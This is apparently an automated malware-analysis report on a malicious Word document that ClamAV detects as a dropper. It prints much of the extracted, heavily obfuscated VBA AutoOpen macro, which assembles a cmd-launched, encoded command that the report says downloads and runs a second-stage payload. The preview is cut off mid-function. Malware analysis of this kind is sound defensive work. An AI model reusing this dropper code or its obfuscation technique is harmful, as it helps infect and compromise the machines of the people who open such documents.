MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file contains a legacy WordBasic AutoOpen macro, a common indicator of malicious documents. The VBA code is heavily obfuscated, making it difficult to determine the exact payload, but the presence of the AutoOpen macro and ClamAV detection strongly suggest it's a dropper. The obfuscated script likely attempts to download and execute a secondary payload from a remote source.
Heuristics 5
-
ClamAV: Doc.Dropper.Valyria-6667982-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6667982-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 43919 bytes |
SHA-256: b84177f00a635ce9e0836535dec7f3bab8a1e36bea9c67693d8c1abfce3ddf79 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "iccFcBSZv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "KtIiqSZrzjn"
Function zDIiQMhj()
On Error Resume Next
VarType 261065630
IsArray dQzvj
bQhLCTlt = "Md /v" + "^ " + " ^" + " /C " + " "
VarType Round(Vziqbz)
VarType Cos(6806 * uzMij * 15814 / FMcAhY)
QNzDNG = CStr(Chr(QzHTANLWficQ + kFJFYwu + 34 + TRfzArCfjOzz + RncSIjJhU)) + " " + "Set^ ^ " + " ^I^" + "F^=xo^" + "@^{r" + "^}[{^l^"
SJiuRf = CVar(7)
VarType hBNNa
urcflNfP = "l " + "-^{^ ^" + "JA^B^" + "QAE(" + "^AU^@" + "A^%^" + "A^G4" + "AZ^QB" + "3AC^0Ab" + "@BiAGo"
VarType CVar(29276969)
VarType 63
SJiuRf = GuFjBk
GdmMuDzrkw = "^A^Z" + "QBj^A" + "^H^Q" + "^A#A^" + "B^O^A^G" + "^U^A^d^"
IsArray Second(adcVa + tAhvkf * 74368 + CVjbk)
VarType WvsqE
SJiuRf = 3250
rsVRJU = "A" + "^A^uA" + "Fc" + "AZ^QB^" + "i^AE" + "^M^" + "A" + "b^AB" + "^x^A" + "^G^UAb"
SJiuRf = Fix(44060 * MVkUi)
VarType TimeValue(qIPwwl)
hjjoBaooViw = "g^B" + "0^" + "AD^}A^J" + "^A" + "B^aAE" + "MA^d^@^" + "A^%" + "^ACc^" + "Aa^AB"
VarType Round(FBGAK)
SJiuRf = Log(258643195)
anIKGoWcMX = "^" + "0A^" + "HQAcAA^" + "6^AC" + "(A^L@^"
SJiuRf = Cos(50225 * PUlMf - lNLAwO / 47311)
SJiuRf = 31
sOFrkjIvGcG = "B+AH^#" + "A^" + "Z^Q^" + "Bz" + "^AG" + "g^Abg" + "^B^}^" + "A"
IsArray CDate(JFfzFw)
SJiuRf = CDate(RjhmQ + bbnti - 80726 - zKcLAH)
wazXG = "^G" + "^EA" + "^d^Q^B" + "u^AGQA" + "c^gB"
VarType 747
SJiuRf = CDec(ciYrAG)
SJiuRf = 4
iAJTTbFTLTM = "^5^AC^" + "4A^Y" + "@BvAG0" + "A^L@B^" + "'^" + "A^G^0^A" + "VQ^BA^" + "AG" + "gA" + "d^AB^0" + "^AHA^"
SJiuRf = Month(ZlGvP)
SJiuRf = CBool(2)
QrLUzqUK = "A" + "^Og^" + "Av" + "AC(AY^" + "gBy^AGE" + "AdgB^l^" + "AHc^A" + "^a" + "QB" + "^}^A"
VarType 516857644
VarType Month(121588101)
maBNzNDnz = "^" + "G@" + "AL^g^Bv" + "^AH^#^" + "A^"
zDIiQMhj = bQhLCTlt + QNzDNG + urcflNfP + GdmMuDzrkw + rsVRJU + hjjoBaooViw + anIKGoWcMX + sOFrkjIvGcG + wazXG + iAJTTbFTLTM + QrLUzqUK + maBNzNDnz
VarType 3
VarType TimeValue(5)
VarType 6
End Function
Function FhRMjqmQm()
On Error Resume Next
SJiuRf = Cos(52492 * pLXRX)
IsArray CDbl(ARGwD)
IsArray HLvRk
KIMmoOa = "Z^@Av^A" + "D" + "UA" + "Vg^BL^A" + "^EEA" + "aAB^" + "yAEAAa^" + "AB^0" + "A^HQA" + "cA" + "^A^6^A" + "C(^"
VarType Sin(2177 + 80601 / SjmERk / sikzh)
VarType Str(7231)
VarType cUGiIR
mhBEG = "A^" + "L^@B^5^" + "AHAAc" + "@^B^" + "x^A^" + "G^Y" + "A^ZQB^" + "zA"
VarType REsZXH
IsArray Cos(VpwoKM)
IsArray FDZFbZ
twqKJu = "^HQAL^" + "gB^" + "jAG(AbQ" + "^" + "Av^" + "AHg^AY" + "^g^B"
SJiuRf = Round(IwTWjP * EHmNsa / WIIMj - wRHXzD)
VarType 9455
itQUo = "^yAF" + "^" + "k^A^b^" + "@^" + "B^A^AGg" + "^A^d^A^"
VarType sRXvP
IsArray Hex(3)
FnbOYXQHji = "B0^AHAA" + "^" + "O^gAvA" + "C" + "(^" + "Ab" + "^g" + "B[" + "^A^H^o^" + "A^Y^Q"
SJiuRf = Second(ZSjCaU)
VarType 85742947
IsArray CzSMDs
jEjiwIfzwR = "^B^y^" + "A^" + "HM^A" + "cABv" + "^A" + "H^Q^A" + "^" + "L^gB" + "^jA^G(" + "A"
VarType Tan(vZdBTj)
VarType Sqr(8)
VarType Tan(3)
rahjzBz = "bQAu^" + "A^H" + "^QAc^" + "gA" + "v" + "A^GQ" + "^AV^A^" + "Bv^AGY^" + "AQQ" + "^A^"
SJiuRf = Val(59808 - NzqYK - 18785 - PhDIY)
IsArray CStr(blfOi)
duVaaDdP = "zA^EAAa" + "^" + "A^B^0A" + "^HQA" + "cA" + "^A6AC(^" + "AL@Bz^A"
IsArray MrKXw
VarType fYTzco
SJiuRf = Sin(329)
CpjpqY = "^HU" + "^A^" + "a" + "^Q^B" + "j" + "^AGkA^" + "Z^A^B" + "^l" + "^A^HA^A"
IsArray 2
SJiuRf = 997
SJiuRf = CCur(aJsRE)
VzqJj = "cgBlAHY" + "^A^" + "ZQB" + "^u^A^HQ" + "A" + "^a" + "^Q^" + "Bv^A^G" + "^4^"
VarType Oct(nzNmLM)
IsArray CDate(SPhqO)
hihZf = "Ac^A" + "BvA^" + "H#Ad" + "A" + "^B^[A^" + "GcAZ" + "^Q^" + "Bj^A^G" + "(^AdQ" + "^B^u^A" + "H^QA" + "{QA"
SJiuRf = 3232
SJiuRf = Fix(58307 + ZCWdKr)
IsArray 32
dhFwUCBmB = "^u^AG(^" + "Ac" + "g^" + "Bn^AC("
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.